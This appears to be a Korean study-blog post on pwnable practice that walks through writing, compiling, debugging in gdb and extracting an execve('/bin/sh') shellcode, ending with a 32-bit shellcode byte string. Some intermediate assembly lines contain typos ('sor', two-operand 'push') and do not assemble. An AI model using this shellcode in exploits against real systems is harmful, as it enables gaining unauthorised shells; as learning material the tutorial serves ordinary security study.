Study/Pwnable

์‰˜์ฝ”๋“œ ์ž‘์„ฑํ•ด๋ณด๊ธฐ (2)

mnzy๐ŸŒฑ 2024. 9. 2. 23:57

1.execve ์‰˜์ฝ”๋“œ

์‰˜์€ ์šด์˜์ฒด์ œ๋ฅผ ๊ฐ์‹ธ๊ณ  ์žˆ๋Š” ๊ป์งˆ์ด๋‹ค.

์ฆ‰, ์‚ฌ์šฉ์ž๊ฐ€ ์šด์˜์ฒด์ œ์— ๋ช…๋ น์„ ๋‚ด๋ฆฌ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ์‚ฌ์šฉ์ž์˜ ์ธํ„ฐํŽ˜์ด์Šค๋กœ,  ์‰˜์„ ํš๋“ํ•˜๋ฉด ์‹œ์Šคํ…œ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋ฏ€๋กœ ํ†ต์ƒ์ ์œผ๋กœ ์…ธ ํš๋“์„ ์‹œ์Šคํ…œ ํ•ดํ‚น์˜ ์„ฑ๊ณต์œผ๋กœ ์—ฌ๊ธฐ๋Š” ๊ฒƒ์ด๋‹ค.

 

execve ์…ธ์ฝ”๋“œ๋Š” ์ž„์˜์˜ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋Š” ์‰˜์ฝ”๋“œ์ธ๋ฐ, ์ด๋ฅผ ์ด์šฉํ•ด์„œ execve("/bin/sh") ์™€ ๊ฐ™์€ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์‹œ์ผœ ์„œ๋ฒ„์˜ ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

//๋”ฐ๋ผ์„œ ๋‹ค๋ฅธ ์–ธ๊ธ‰์—†์ด ์…ธ์ฝ”๋“œ๋ผ๊ณ  ํ•˜๋ฉด ์ด๋ฅผ ์˜๋ฏธํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค.

 

์ตœ์‹ ์˜ ๋ฆฌ๋ˆ…์Šค๋Š” ๋Œ€๋ถ€๋ถ„ sh, bash๋ฅผ ๊ธฐ๋ณธ ์…ธ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ํƒ‘์žฌํ•˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ด ์™ธ์—๋„ zsh, tsh ๋“ฑ์˜ ์…ธ์„ ์œ ์ €๊ฐ€ ์„ค์น˜ํ•ด์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.  Ubuntu 22.04์—๋„ /bin/sh๊ฐ€ ์กด์žฌํ•˜๋ฏ€๋กœ, ์ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” execve ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณผ ๊ฒƒ์ด๋‹ค.

 

 

2.execve ์‰˜์ฝ”๋“œ ์ž‘์„ฑ

(1) execve(“/bin/sh”, null, null)

execve ์…ธ์ฝ”๋“œ๋Š” execve ์‹œ์Šคํ…œ ์ฝœ๋งŒ์œผ๋กœ ๊ตฌ์„ฑ๋œ๋‹ค. 

syscall rax rdi rsi rdx
execve 0x3b const char *filename const char *const *argv const char *const *envp

 

rdi (์ฒซ๋ฒˆ์งธ ์ธ์ž)์—๋Š” filname ์ฆ‰, ์‹คํ–‰ํ•˜๊ณ ์ž ํ•˜๋Š” ํŒŒ์ผ์˜ ์ด๋ฆ„์ด ๋“ค์–ด๊ฐ„๋‹ค. 

์šฐ๋ฆฌ๋Š” /bin/sh์ด๋ผ๋Š” ๋ฌธ์ž์—ด์„ ๋„ฃ์–ด์„œ ์‰˜์„ ์‹คํ–‰ํ•˜๊ณ ์ž ํ•  ๊ฒƒ์ด๋ฏ€๋กœ 7๋ฐ”์ดํŠธ์˜ ๋ฌธ์ž๋ฅผ ์—ญ์ˆœ์œผ๋กœ rdi์— ๋„ฃ์–ด์ค€๋‹ค.

/bin/sh์€ 2f 62 69 6e 2f 73 68 ์ด๋ฏ€๋กœ 0x68732f6e69622f ๋ฅผ ๋„ฃ์–ด์ฃผ๋Š” ๊ฒƒ์ด๋‹ค. 

  • mov  rax, 0x68732f6e69622f
  • push rax
  • mov rdi, rsp

๋‘๋ฒˆ์งธ ์ธ์ž rsi์—๋Š” ์‹คํ–‰ํŒŒ์ผ์— ๋„˜๊ฒจ์ค„ ์ธ์ž, ์„ธ๋ฒˆ์งธ ์ธ์ž rdx์—๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜๊ฐ€ ๋“ค์–ด๊ฐ€์•ผ ํ•œ๋‹ค. ์ด๋–„ ๊ฐ’์„ ์ „๋‹ฌํ•ด์ค„ ํ•„์š”๊ฐ€ ์—†๋‹ค๋ฉด ๋‘ ๊ฐ’ ๋ชจ๋‘ null๋กœ ์„ค์ •ํ•ด๋‘๋ฉด ๋œ๋‹ค. 

๊ฐ’์„ ๋„ฃ์„ ๊ฒฝ์šฐ ๋‘ ๋ฐฐ์—ด ๋ชจ๋‘ null๋กœ ๋๋‚˜์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋ง์ž! 

+) 0์„ ๋„ฃ์„ ๋•Œ์—๋Š” ๋ณดํ†ต  ๊ฐ€์žฅ ๋น ๋ฅด๊ณ  ํšจ์œจ์ ์ธ ๋ฐฉ๋ฒ•์ธ xor ์—ฐ์‚ฐ์„ ํ™œ์šฉํ•จ

  • push rsi, 0
  • push rdx, 0
  • xor rsi, rsi
  • sor rdx, rdx

 

์ด ๋‹ค์Œ์œผ๋กœ execve syscall์„ ์‹คํ–‰์‹œํ‚ค๊ธฐ ์œ„ํ•ด์„œ rax์— execve syscall number์ธ 0x3b๋ฅผ ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค. 

  • push rax, 0x3b

์ข…ํ•ฉํ•ด๋ณด๋ฉด ์•„๋ž˜ ์–ด์…ˆ๋ธ”๋ฆฌ์–ด ์ฝ”๋“œ๊ฐ€ ์™„์„ฑ๋œ๋‹ค. 

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
sor rdx, rdx
mov rax, 0x3b
syscall

 

3.execve ์…ธ์ฝ”๋“œ ์ปดํŒŒ์ผ ๋ฐ ์‹คํ–‰

์Šค์ผˆ๋ ˆํ†ค ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•˜์—ฌ execve ์…ธ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผํ•œ ๋’ค ์‹คํ–‰ํ•ด๋ณผ ๊ฒƒ์ด๋‹ค. 

(1) ํŒŒ์ผ ์ƒ์„ฑ - vim

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

(2) ์ปดํŒŒ์ผ ๋ฐ ์‹คํ–‰ 

> gcc -o execve execve.c -masm=intel

> ./execve

gcc -o execve execve.c -masm=intel

 

2.execve ์‰˜์ฝ”๋“œ ๋””๋ฒ„๊น… 

๋‹ค์Œ์œผ๋กœ๋Š” ์šฐ๋ฆฌ๊ฐ€ ๋งŒ๋“  ์‰˜ ์ฝ”๋“œ๋ฅผ ๋””๋ฒ„๊น…ํ•ด๋ณผ ๊ฒƒ์ด๋‹ค. 

> gdb execve ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด gdb๋ฅผ ์‹คํ–‰์‹œ์ผœ์ค€๋‹ค. 

 

๊ทธ ๋‹ค์Œ ์‰˜์ด ์‹คํ–‰ํ•˜๋Š” ๋ถ€๋ถ„์ธ run_sh()์— bp๋ฅผ ๊ฑธ์–ด์ค€๋‹ค

> b *run_sh

> r

 

execve syscall ์ด ์‹คํ–‰๋˜๊ธฐ ์ง์ „์ธ run_sh+27์— bp๋ฅผ ๊ฑธ์–ด์ค€ ๋’ค ์‹คํ–‰ํ•œ๋‹ค. 

> b *run_sh+27

> c

 execve(“/bin/sh”, null, null) ํ•จ์ˆ˜๋Š” ์ฒซ๋ฒˆ์งธ ์ธ์ž์— ์‹คํ–‰ํ•  ํŒŒ์ผ์˜ ์ด๋ฆ„์„ ์ „๋‹ฌํ•œ๋‹ค.

๋”ฐ๋ผ์„œ rdi๋ฅผ ๋ณด๋ฉด 0x68732f6e69622f  ์ฆ‰, /bin/sh ๋ฌธ์ž์—ด์ด ์ €์žฅ๋œ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. 

 

์ด๋Š” x/s ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด rdi๊ฐ’์„ ์ถœ๋ ฅํ•ด๋ณด์•˜์„ ๋•Œ์—๋„ ๋™์ผํ•˜๊ฒŒ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

ni ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด /bin/sh์ด ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

++) ์—๋Ÿฌ๋Š” gcc ์ปดํŒŒ์ผ๋Ÿฌ๋กœ ์ปดํŒŒ์ผ ํ•  ๋•Œ -g ์˜ต์…˜์„ ์ฃผ์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ ๊ฐ™์•„์„œ ์ˆ˜์ •ํ•˜์˜€๊ณ , ์‹ฌ๋ณผ ํ…Œ์ด๋ธ”์ด๋‚˜ bp์™€ ๊ด€๋ จ๋œ ์—๋Ÿฌ๋Š” bp๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š์œผ๋ฉด ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค. ์—๋Ÿฌ์˜ ์ •ํ™•ํ•œ ์›์ธ์€ ์ž˜ ๋ชจ๋ฅด๊ฒ ๋‹ค..

 

3. objdump ๋ฅผ ์ด์šฉํ•œ shellcode ์ถ”์ถœ

objdump๋ž€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ, ์ปดํŒŒ์ผ๋œ ์˜ค๋ธŒ์ ํŠธ ๋ชจ๋“ˆ, ๊ณต์œ  ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ, ๋…๋ฆฝ ์‹คํ–‰ํŒŒ์ผ ๋“ฑ์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ๋“ค์˜ ์ •๋ณด๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ํ”„๋กœ๊ทธ๋žจ์ด๋‹ค. bjdump๋Š” ELF ํŒŒ์ผ์„ ์–ด์…ˆ๋ธ”๋ฆฌ์–ด๋กœ ๋ณด์—ฌ์ฃผ๋Š” ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ๋กœ๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค.

 

๋”ฐ๋ผ์„œ ์ž‘์„ฑํ•œ shellcode๋ฅผ objdump๋ฅผ ์ด์šฉํ•ด์„œ byte code(opcode)์˜ ํ˜•ํƒœ๋กœ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋‹ค. 

๋จผ์ € ์ž‘์„ฑํ•œ ์‰˜ ์ฝ”๋“œ๋ฅผ asm ํ˜•์‹์œผ๋กœ ์ €์žฅํ•  ๊ฒƒ์ด๋‹ค. 

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

๋‹ค์Œ์œผ๋กœ ํ•„์š”ํ•œ ํŒŒ์ผ๋“ค์„ ์„ค์น˜ํ•ด์ค€ ๋’ค, ์•„๋ž˜ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ์ธ shellcode.o๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

 

๋‹ค์Œ์œผ๋กœ objcopy ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜๋ฉด shellcode.bin ํŒŒ์ผ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ๋‹ค์Œ,

xxd ๋ช…๋ น์–ด๋กœ shellcode.bin ํŒŒ์ผ์˜ ๋‚ด์šฉ์˜ ๋ฐ”์ดํŠธ ๊ฐ’๋“ค์„ 16์ง„์ˆ˜ ํ˜•ํƒœ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ด๋ ‡๊ฒŒ ์ถ”์ถœํ•œ 16์ง„์ˆ˜์˜ ๋ฐ”์ดํŠธ๊ฐ’๋“ค์„ ํ†ตํ•ด ๋ฐ”์ดํŠธ ํ˜•ํƒœ์˜ ์‰˜ ์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. 

# execve /bin/sh shellcode: 
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80